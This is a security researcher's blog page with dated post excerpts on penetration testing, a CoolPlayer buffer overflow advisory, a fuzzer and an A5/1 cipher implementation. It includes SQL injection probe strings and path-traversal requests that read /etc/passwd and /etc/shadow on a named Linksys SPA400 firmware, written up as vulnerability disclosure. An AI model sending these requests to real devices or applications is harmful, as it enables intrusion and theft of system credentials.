news

Blind SQL Injection

16 Jun 2009

The infamous Blind SQL Injection vulnerability; regarded by some as the most difficult web application vulnerability to exploit. Recently while performing a web application penetration test on a closed source application I discovered a Blind SQL Injection vulnerability and was able to exploit this vulnerability to compromise the whole web application. Below is the process I used.

1. Discovering the vulnerability.
Try and make the query return true with the use of more characters than allowed:

Request : file.asp?id=1'"
Response: System error (Failed to execute query)

Request : file.asp?id=1' OR '1'='1
Response: Query returned true (page loaded)
Comments 3

Its been awhile

26 Mar 2009

Been really busy of late. Started a new job as a penetration tester. Began development on a few new apps and thought about doing stuff I will never actually get around to doing. If only i never became tired.

Manufacturer Linksys (Division of Cisco Systems)
Device SPA400 (Internet Telephony Gateway)
Fireware 1.1.2.2

/html/setup.cgi?next_file=/etc/passwd
/html/setup.cgi?next_file=/etc/shadow
/html/setup.cgi?next_file=/var/system.conf

Comments 3

The new and the forgotten

21 Dec 2008

My latest advisory exploits a buffer overflow vulnerability in CoolPlayer. The vulnerability occurs when the "PlaylistSkin" variable is set to 1534 characters, or 1538 including EIP. Besides a couple security vulnerabilities CoolPlayer is a pretty cool app!

Anyway Christmas (Thursday) is not very far away now - I'm definitely looking forward to having some time to relax.

TagFuzz, Amaya and Adsense

24 Nov 2008

Tonight I'll be releasing a multi-format fuzzer I wrote codenamed "TagFuzz". This fuzzer edits tag information of a supported file, then executes the target application supplying the file as an argument.

EAX 00000000
ECX 00000000
EDX 00000695
EBX 0013FD0C ASCII "AAAAAAAA..." <-- Before
ESP 0013F900 ASCII "CCCCCCCC..." <-- After my RET
EBP 00000007
ESI 0000939F
EDI 000091CD
EIP 42424242

Comments 0

A5/1 Implementations released

12 Nov 2008

I've just released (available for download) implementations of the A5/1 encryption cipher. This is the encryption algorithm that is used in Telstra GSM mobile phones to encrypt traffic.

Quoted from the wiki page (http://en.wikipedia.org/wiki/A5/1):

A5/1 is a stream cipher used to provide over-the-air communication privacy in the GSM cellular telephone standard. It was initially kept secret, but became public knowledge through leaks and reverse engineering. A number of serious weaknesses in the cipher have been identified.

I've written two implementations which are very much the same:

  1. PHP Version
  2. C# Version

Originally the PHP version was developed from a small script i created to demonstrate how the registers were to function. This later developed into a full implementation. At the time I required a C# version, so i re-wrote it.

Alive

01 Nov 2008

I'm 85% of the way through creating software to manage blog entries. The software specification:

    * Post blog entries, and create blog entries
    * Blog entries can be created using TinyMCE (WYSIWYG) editor
    * Blog entries will be grouped by months, years

Eventually it will be available for download

my latest

downloads

links